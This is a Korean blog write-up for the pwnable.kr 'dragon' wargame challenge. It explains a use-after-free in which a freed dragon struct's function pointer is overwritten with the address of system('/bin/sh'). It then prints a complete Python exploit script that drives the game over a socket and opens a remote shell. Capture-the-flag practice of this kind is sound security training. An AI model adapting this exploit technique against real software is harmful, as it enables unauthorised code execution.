I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn't get too angry with me :P!
Author : rookiss
Download : http://pwnable.kr/bin/dragon
Running at : nc pwnable.kr 9004
문제는 아주 간단하게 해결할 수 있는 UAF 취약점이다. system("/bin/sh")를 띄우는 코드도 문제 바이너리에 포함되어 있어서 쉽게 해결할 수 있다. 아래는 Hex-ray 코드이다.
PriestAttack나 KnightAttack에서는 할당받은 dragon에 대한 free를 해준 후 리턴한다.
그런데 0x10만큼의 메모리를 할당하고 입력 받는 코드 다음에 "dragon->f_printInfo(dragon);" 를 호출한다.
따라서 dragon변수를 간단하게 조작할 수 있다. dragon 구조체의 첫 4byte가 함수 포인터이므로 입력 값에 system("/bin/sh")의 주소 4byte만 넣어 주면 된다.
[ exploit code ]
import socket, struct
host = '110.35.38.6'
port = 9004
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.recv(1024)
### baby dragon start ###
s.send('2\n') #Knight
s.recv(1024)
s.recv(1024)
s.send('2\n')
s.recv(1024)
s.recv(1024)
### baby dragon end ###
### mama dragon start ###
s.send('1\n') #Priest
for i in range(4):
s.recv(1024)
s.send('3\n')
s.recv(1024)
s.send('3\n')
s.recv(1024)
s.send('2\n')
s.recv(1024)
### mama dragon end ###
s.recv(1024)
#send name
#&system("/bin/sh")
s.send(struct.pack('<i', 0x08048DBF) + '\n')
#And The Dragon You Have Defeated Was Called:
print s.recv(1024)
import telnetlib
def telnet_cmd(s):
print '[*] start shell'
t = telnetlib.Telnet()
t.sock = s
t.interact()
telnet_cmd(s)
'Wargame > pwnable.kr' 카테고리의 다른 글
| [Rookiss] simple login (0) | 2014.07.27 |
|---|---|
| [Rookiss] brain fuck (0) | 2014.07.26 |
| [Rookiss] ascii_easy (0) | 2014.07.21 |
| [Toddler's Bottle] passcode (0) | 2014.07.19 |
| [Rookiss] fsb (0) | 2014.07.07 |
dragon.idb